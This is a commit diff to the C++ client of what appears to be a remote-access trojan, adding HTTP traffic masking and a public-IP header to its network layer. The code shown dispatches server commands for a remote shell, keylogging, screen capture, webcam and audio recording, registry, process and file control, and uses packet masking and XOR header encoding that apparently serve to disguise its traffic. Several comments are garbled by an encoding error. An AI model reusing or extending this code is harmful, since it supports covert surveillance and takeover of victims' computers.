fix: #182 First command using HTTP protocol
This commit is contained in:
@@ -25,7 +25,8 @@ CAudioManager::CAudioManager(IOCPClient* ClientObject, int n, void* user):CManag
|
|||||||
}
|
}
|
||||||
|
|
||||||
BYTE bToken = TOKEN_AUDIO_START;
|
BYTE bToken = TOKEN_AUDIO_START;
|
||||||
m_ClientObject->Send2Server((char*)&bToken, 1);
|
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||||
|
m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
|
||||||
|
|
||||||
WaitForDialogOpen(); //<2F>ȴ<EFBFBD><C8B4>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
WaitForDialogOpen(); //<2F>ȴ<EFBFBD><C8B4>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
szPacket = NULL;
|
szPacket = NULL;
|
||||||
|
|||||||
@@ -495,8 +495,10 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
|||||||
// The main ClientApp.
|
// The main ClientApp.
|
||||||
settings.SetServer(list[0].c_str(), settings.ServerPort());
|
settings.SetServer(list[0].c_str(), settings.ServerPort());
|
||||||
}
|
}
|
||||||
|
iniFile cfg(CLIENT_PATH);
|
||||||
|
std::string pubIP = cfg.GetStr("settings", "public_ip", "");
|
||||||
State& bExit(app.g_bExit);
|
State& bExit(app.g_bExit);
|
||||||
IOCPClient *ClientObject = NewNetClient(&settings, bExit);
|
IOCPClient *ClientObject = NewNetClient(&settings, bExit, pubIP);
|
||||||
if (nullptr == ClientObject) return -1;
|
if (nullptr == ClientObject) return -1;
|
||||||
CKernelManager* Manager = nullptr;
|
CKernelManager* Manager = nullptr;
|
||||||
|
|
||||||
@@ -510,7 +512,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
|||||||
}
|
}
|
||||||
|
|
||||||
app.SetThreadRun(TRUE);
|
app.SetThreadRun(TRUE);
|
||||||
ThreadInfo* kb = CreateKB(&settings, bExit);
|
ThreadInfo* kb = CreateKB(&settings, bExit, pubIP);
|
||||||
while (app.m_bIsRunning(&app))
|
while (app.m_bIsRunning(&app))
|
||||||
{
|
{
|
||||||
ULONGLONG dwTickCount = GetTickCount64();
|
ULONGLONG dwTickCount = GetTickCount64();
|
||||||
|
|||||||
@@ -294,8 +294,8 @@ UINT CFileManager::SendDriveList()
|
|||||||
|
|
||||||
dwOffset += 10 + nTypeNameLen + nFileSystemLen;
|
dwOffset += 10 + nTypeNameLen + nFileSystemLen;
|
||||||
}
|
}
|
||||||
|
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||||
return Send((LPBYTE)DriveList, dwOffset);
|
return m_ClientObject->Send2Server((char*)DriveList, dwOffset, &mask);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -23,14 +23,6 @@ inline int WSAGetLastError() { return -1; }
|
|||||||
#define Z_FAILED(p) (Z_OK != (p))
|
#define Z_FAILED(p) (Z_OK != (p))
|
||||||
#define Z_SUCCESS(p) (!Z_FAILED(p))
|
#define Z_SUCCESS(p) (!Z_FAILED(p))
|
||||||
#else
|
#else
|
||||||
#if USING_LZ4
|
|
||||||
#include "lz4/lz4.h"
|
|
||||||
#pragma comment(lib, "lz4/lz4.lib")
|
|
||||||
#define Z_FAILED(p) (0 == (p))
|
|
||||||
#define Z_SUCCESS(p) (!Z_FAILED(p))
|
|
||||||
#define compress(dest, destLen, source, sourceLen) LZ4_compress_default((const char*)source, (char*)dest, sourceLen, *(destLen))
|
|
||||||
#define uncompress(dest, destLen, source, sourceLen) LZ4_decompress_safe((const char*)source, (char*)dest, sourceLen, *(destLen))
|
|
||||||
#else
|
|
||||||
#include "zstd/zstd.h"
|
#include "zstd/zstd.h"
|
||||||
#ifdef _WIN64
|
#ifdef _WIN64
|
||||||
#pragma comment(lib, "zstd/zstd_x64.lib")
|
#pragma comment(lib, "zstd/zstd_x64.lib")
|
||||||
@@ -48,7 +40,6 @@ inline int WSAGetLastError() { return -1; }
|
|||||||
#define uncompress(dest, destLen, source, sourceLen) ZSTD_decompress(dest, *(destLen), source, sourceLen)
|
#define uncompress(dest, destLen, source, sourceLen) ZSTD_decompress(dest, *(destLen), source, sourceLen)
|
||||||
#endif
|
#endif
|
||||||
#endif
|
#endif
|
||||||
#endif
|
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
@@ -96,12 +87,14 @@ VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess)
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask, int encoder) : g_bExit(bExit)
|
IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask, int encoder,
|
||||||
|
const std::string& pubIP) : g_bExit(bExit)
|
||||||
{
|
{
|
||||||
|
m_sLocPublicIP = pubIP;
|
||||||
m_ServerAddr = {};
|
m_ServerAddr = {};
|
||||||
m_nHostPort = 0;
|
m_nHostPort = 0;
|
||||||
m_Manager = NULL;
|
m_Manager = NULL;
|
||||||
m_masker = mask ? new HttpMask("example.com") : new PkgMask();
|
m_masker = mask ? new HttpMask(DEFAULT_HOST) : new PkgMask();
|
||||||
auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % HeaderEncNum));
|
auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % HeaderEncNum));
|
||||||
m_EncoderType = encoder;
|
m_EncoderType = encoder;
|
||||||
m_Encoder = encoder ? new HellEncoder(enc, new XOREncoder16()) : new ProtocolEncoder();
|
m_Encoder = encoder ? new HellEncoder(enc, new XOREncoder16()) : new ProtocolEncoder();
|
||||||
@@ -379,7 +372,9 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer,
|
|||||||
// UnMask
|
// UnMask
|
||||||
char* src = (char*)m_CompressedBuffer->GetBuffer();
|
char* src = (char*)m_CompressedBuffer->GetBuffer();
|
||||||
ULONG srcSize = m_CompressedBuffer->GetBufferLength();
|
ULONG srcSize = m_CompressedBuffer->GetBufferLength();
|
||||||
ULONG ret = m_masker->UnMask(src, srcSize);
|
PkgMaskType maskType = MaskTypeUnknown;
|
||||||
|
ULONG ret = TryUnMask(src, srcSize, maskType);
|
||||||
|
// ULONG ret = m_masker->UnMask(src, srcSize);
|
||||||
m_CompressedBuffer->Skip(ret);
|
m_CompressedBuffer->Skip(ret);
|
||||||
if (m_CompressedBuffer->GetBufferLength() <= HDR_LENGTH)
|
if (m_CompressedBuffer->GetBufferLength() <= HDR_LENGTH)
|
||||||
break;
|
break;
|
||||||
@@ -449,7 +444,7 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer,
|
|||||||
|
|
||||||
// <20><>server<65><72><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȽϺ<C8BD>ʱ<EFBFBD><CAB1>
|
// <20><>server<65><72><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȽϺ<C8BD>ʱ<EFBFBD><CAB1>
|
||||||
// <20>ر<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>SendWithSplit<69>ȽϺ<C8BD>ʱ<EFBFBD><CAB1>
|
// <20>ر<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>SendWithSplit<69>ȽϺ<C8BD>ʱ<EFBFBD><CAB1>
|
||||||
BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) //Hello
|
BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength, PkgMask* mask) //Hello
|
||||||
{
|
{
|
||||||
AUTO_TICK(50);
|
AUTO_TICK(50);
|
||||||
assert (ulOriginalLength > 0);
|
assert (ulOriginalLength > 0);
|
||||||
@@ -462,8 +457,6 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength)
|
|||||||
//destLen = 448
|
//destLen = 448
|
||||||
#if USING_ZLIB
|
#if USING_ZLIB
|
||||||
unsigned long ulCompressedLength = (double)ulOriginalLength * 1.001 + 12;
|
unsigned long ulCompressedLength = (double)ulOriginalLength * 1.001 + 12;
|
||||||
#elif USING_LZ4
|
|
||||||
unsigned long ulCompressedLength = LZ4_compressBound(ulOriginalLength);
|
|
||||||
#else
|
#else
|
||||||
unsigned long ulCompressedLength = ZSTD_compressBound(ulOriginalLength);
|
unsigned long ulCompressedLength = ZSTD_compressBound(ulOriginalLength);
|
||||||
#endif
|
#endif
|
||||||
@@ -495,20 +488,23 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength)
|
|||||||
if (CompressedBuffer != buf) delete [] CompressedBuffer;
|
if (CompressedBuffer != buf) delete [] CompressedBuffer;
|
||||||
|
|
||||||
// <20>ֿ鷢<D6BF><E9B7A2>
|
// <20>ֿ鷢<D6BF><E9B7A2>
|
||||||
return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(), MAX_SEND_BUFFER, cmd);
|
return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(), MAX_SEND_BUFFER, cmd, mask);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 5 2 // 2 2 1
|
// 5 2 // 2 2 1
|
||||||
BOOL IOCPClient::SendWithSplit(const char* src, ULONG srcSize, ULONG ulSplitLength, int cmd)
|
BOOL IOCPClient::SendWithSplit(const char* src, ULONG srcSize, ULONG ulSplitLength, int cmd, PkgMask* mask)
|
||||||
{
|
{
|
||||||
if (src == nullptr || srcSize == 0 || ulSplitLength == 0)
|
if (src == nullptr || srcSize == 0 || ulSplitLength == 0)
|
||||||
return FALSE;
|
return FALSE;
|
||||||
// Mask
|
// Mask
|
||||||
char* szBuffer = nullptr;
|
char* szBuffer = nullptr;
|
||||||
ULONG ulLength = 0;
|
ULONG ulLength = 0;
|
||||||
m_masker->Mask(szBuffer, ulLength, (char*)src, srcSize, cmd);
|
(mask && srcSize <= ulSplitLength) ? mask->SetServer(m_sCurIP)->Mask(szBuffer, ulLength, (char*)src, srcSize, cmd) :
|
||||||
|
m_masker->Mask(szBuffer, ulLength, (char*)src, srcSize, cmd);
|
||||||
|
if(szBuffer != src && srcSize > ulSplitLength){
|
||||||
|
Mprintf("SendWithSplit: %d bytes large packet may causes issues.\n", srcSize);
|
||||||
|
}
|
||||||
AUTO_TICK(25);
|
AUTO_TICK(25);
|
||||||
bool isFail = false;
|
bool isFail = false;
|
||||||
int iReturn = 0; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD><CBB6><EFBFBD>
|
int iReturn = 0; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD><CBB6><EFBFBD>
|
||||||
|
|||||||
@@ -111,7 +111,8 @@ typedef BOOL(*TrailCheck)(void);
|
|||||||
class IOCPClient
|
class IOCPClient
|
||||||
{
|
{
|
||||||
public:
|
public:
|
||||||
IOCPClient(const State& bExit, bool exit_while_disconnect = false, int mask=0, int encoder=0);
|
IOCPClient(const State& bExit, bool exit_while_disconnect = false, int mask=0, int encoder=0,
|
||||||
|
const std::string&pubIP="");
|
||||||
virtual ~IOCPClient();
|
virtual ~IOCPClient();
|
||||||
|
|
||||||
int SendLoginInfo(const LOGIN_INFOR& logInfo) {
|
int SendLoginInfo(const LOGIN_INFOR& logInfo) {
|
||||||
@@ -122,8 +123,17 @@ public:
|
|||||||
}
|
}
|
||||||
virtual BOOL ConnectServer(const char* szServerIP, unsigned short uPort);
|
virtual BOOL ConnectServer(const char* szServerIP, unsigned short uPort);
|
||||||
|
|
||||||
BOOL Send2Server(const char* szBuffer, ULONG ulOriginalLength) {
|
std::string GetClientIP() const {
|
||||||
return OnServerSending(szBuffer, ulOriginalLength);
|
return m_sLocPublicIP;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::map<std::string, std::string> GetClientIPHeader() const {
|
||||||
|
return m_sLocPublicIP.empty() ? std::map<std::string, std::string>{} :
|
||||||
|
std::map<std::string, std::string>{ {"X-Forwarded-For", m_sLocPublicIP} };
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL Send2Server(const char* szBuffer, ULONG ulOriginalLength, PkgMask* mask = NULL) {
|
||||||
|
return OnServerSending(szBuffer, ulOriginalLength, mask);
|
||||||
}
|
}
|
||||||
|
|
||||||
void SetServerAddress(const char* szServerIP, unsigned short uPort) {
|
void SetServerAddress(const char* szServerIP, unsigned short uPort) {
|
||||||
@@ -162,10 +172,10 @@ protected:
|
|||||||
virtual int SendTo(const char* buf, int len, int flags) {
|
virtual int SendTo(const char* buf, int len, int flags) {
|
||||||
return ::send(m_sClientSocket, buf, len, flags);
|
return ::send(m_sClientSocket, buf, len, flags);
|
||||||
}
|
}
|
||||||
BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength);
|
BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength, PkgMask* mask);
|
||||||
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
||||||
VOID OnServerReceiving(CBuffer *m_CompressedBuffer, char* szBuffer, ULONG ulReceivedLength);
|
VOID OnServerReceiving(CBuffer *m_CompressedBuffer, char* szBuffer, ULONG ulReceivedLength);
|
||||||
BOOL SendWithSplit(const char* src, ULONG srcSize, ULONG ulSplitLength, int cmd);
|
BOOL SendWithSplit(const char* src, ULONG srcSize, ULONG ulSplitLength, int cmd, PkgMask* mask);
|
||||||
|
|
||||||
protected:
|
protected:
|
||||||
sockaddr_in m_ServerAddr;
|
sockaddr_in m_ServerAddr;
|
||||||
@@ -190,4 +200,5 @@ protected:
|
|||||||
bool m_exit_while_disconnect;
|
bool m_exit_while_disconnect;
|
||||||
PkgMask* m_masker;
|
PkgMask* m_masker;
|
||||||
BOOL m_EncoderType;
|
BOOL m_EncoderType;
|
||||||
|
std::string m_sLocPublicIP;
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -17,16 +17,16 @@
|
|||||||
#include "IOCPKCPClient.h"
|
#include "IOCPKCPClient.h"
|
||||||
|
|
||||||
// UDP 协议仅能针对小包数据,且数据没有时序关联
|
// UDP 协议仅能针对小包数据,且数据没有时序关联
|
||||||
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_disconnect) {
|
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect) {
|
||||||
if (conn->protoType == PROTO_HTTPS) return NULL;
|
if (conn->protoType == PROTO_HTTPS) return NULL;
|
||||||
|
|
||||||
int type = conn->protoType == PROTO_RANDOM ? time(nullptr) % PROTO_RANDOM : conn->protoType;
|
int type = conn->protoType == PROTO_RANDOM ? time(nullptr) % PROTO_RANDOM : conn->protoType;
|
||||||
if (!conn->IsVerified() || type == PROTO_TCP)
|
if (!conn->IsVerified() || type == PROTO_TCP)
|
||||||
return new IOCPClient(bExit, exit_while_disconnect, MaskTypeNone, conn->GetHeaderEncType());
|
return new IOCPClient(bExit, exit_while_disconnect, MaskTypeNone, conn->GetHeaderEncType(), publicIP);
|
||||||
if (type == PROTO_UDP)
|
if (type == PROTO_UDP)
|
||||||
return new IOCPUDPClient(bExit, exit_while_disconnect);
|
return new IOCPUDPClient(bExit, exit_while_disconnect);
|
||||||
if (type == PROTO_HTTP || type == PROTO_HTTPS)
|
if (type == PROTO_HTTP || type == PROTO_HTTPS)
|
||||||
return new IOCPClient(bExit, exit_while_disconnect, MaskTypeHTTP, conn->GetHeaderEncType());
|
return new IOCPClient(bExit, exit_while_disconnect, MaskTypeHTTP, conn->GetHeaderEncType(), publicIP);
|
||||||
if (type == PROTO_KCP) {
|
if (type == PROTO_KCP) {
|
||||||
return new IOCPKCPClient(bExit, exit_while_disconnect);
|
return new IOCPKCPClient(bExit, exit_while_disconnect);
|
||||||
}
|
}
|
||||||
@@ -34,10 +34,10 @@ IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_di
|
|||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit) {
|
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string &publicIP) {
|
||||||
static ThreadInfo tKeyboard;
|
static ThreadInfo tKeyboard;
|
||||||
tKeyboard.run = FOREVER_RUN;
|
tKeyboard.run = FOREVER_RUN;
|
||||||
tKeyboard.p = new IOCPClient(bExit, false, MaskTypeNone, conn->GetHeaderEncType());
|
tKeyboard.p = new IOCPClient(bExit, false, MaskTypeNone, conn->GetHeaderEncType(), publicIP);
|
||||||
tKeyboard.conn = conn;
|
tKeyboard.conn = conn;
|
||||||
tKeyboard.h = (HANDLE)__CreateThread(NULL, NULL, LoopKeyboardManager, &tKeyboard, 0, NULL);
|
tKeyboard.h = (HANDLE)__CreateThread(NULL, NULL, LoopKeyboardManager, &tKeyboard, 0, NULL);
|
||||||
return &tKeyboard;
|
return &tKeyboard;
|
||||||
@@ -377,6 +377,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
m_hThread[m_ulThreadCount].p = nullptr;
|
m_hThread[m_ulThreadCount].p = nullptr;
|
||||||
m_hThread[m_ulThreadCount].conn = m_conn;
|
m_hThread[m_ulThreadCount].conn = m_conn;
|
||||||
}
|
}
|
||||||
|
std::string publicIP = m_ClientObject->GetClientIP();
|
||||||
|
|
||||||
switch (szBuffer[0])
|
switch (szBuffer[0])
|
||||||
{
|
{
|
||||||
@@ -478,7 +479,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_PROXY: {
|
case COMMAND_PROXY: {
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
|
||||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
@@ -536,7 +537,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
if (m_hKeyboard) {
|
if (m_hKeyboard) {
|
||||||
CloseHandle(__CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL));
|
CloseHandle(__CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL));
|
||||||
} else {
|
} else {
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
|
||||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
@@ -544,7 +545,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
|
|
||||||
case COMMAND_TALK:
|
case COMMAND_TALK:
|
||||||
{
|
{
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
|
||||||
m_hThread[m_ulThreadCount].user = m_hInstance;
|
m_hThread[m_ulThreadCount].user = m_hInstance;
|
||||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopTalkManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopTalkManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
@@ -552,21 +553,21 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
|
|
||||||
case COMMAND_SHELL:
|
case COMMAND_SHELL:
|
||||||
{
|
{
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
|
||||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopShellManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopShellManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_SYSTEM: //远程进程管理
|
case COMMAND_SYSTEM: //远程进程管理
|
||||||
{
|
{
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
|
||||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_WSLIST: //远程窗口管理
|
case COMMAND_WSLIST: //远程窗口管理
|
||||||
{
|
{
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
|
||||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
@@ -595,7 +596,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
|
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
|
||||||
if (ulLength > 2 && !m_conn->IsVerified()) user->buffer[2] = 0;
|
if (ulLength > 2 && !m_conn->IsVerified()) user->buffer[2] = 0;
|
||||||
}
|
}
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
|
||||||
m_hThread[m_ulThreadCount].user = user;
|
m_hThread[m_ulThreadCount].user = user;
|
||||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopScreenManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopScreenManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
@@ -603,7 +604,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
|
|
||||||
case COMMAND_LIST_DRIVE :
|
case COMMAND_LIST_DRIVE :
|
||||||
{
|
{
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
|
||||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopFileManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopFileManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
@@ -612,28 +613,28 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
{
|
{
|
||||||
static bool hasCamera = WebCamIsExist();
|
static bool hasCamera = WebCamIsExist();
|
||||||
if (!hasCamera) break;
|
if (!hasCamera) break;
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
|
||||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_AUDIO:
|
case COMMAND_AUDIO:
|
||||||
{
|
{
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
|
||||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopAudioManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopAudioManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_REGEDIT:
|
case COMMAND_REGEDIT:
|
||||||
{
|
{
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
|
||||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopRegisterManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopRegisterManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_SERVICES:
|
case COMMAND_SERVICES:
|
||||||
{
|
{
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
|
||||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL);
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -21,9 +21,9 @@
|
|||||||
#include "LoginServer.h"
|
#include "LoginServer.h"
|
||||||
|
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>þ<EFBFBD><C3BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʲôͨѶЭ<D1B6><D0AD>
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>þ<EFBFBD><C3BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʲôͨѶЭ<D1B6><D0AD>
|
||||||
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_disconnect = false);
|
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect = false);
|
||||||
|
|
||||||
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit);
|
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP);
|
||||||
|
|
||||||
class ActivityWindow {
|
class ActivityWindow {
|
||||||
public:
|
public:
|
||||||
|
|||||||
@@ -77,8 +77,8 @@ int CKeyboardManager1::sendStartKeyBoard()
|
|||||||
BYTE bToken[2];
|
BYTE bToken[2];
|
||||||
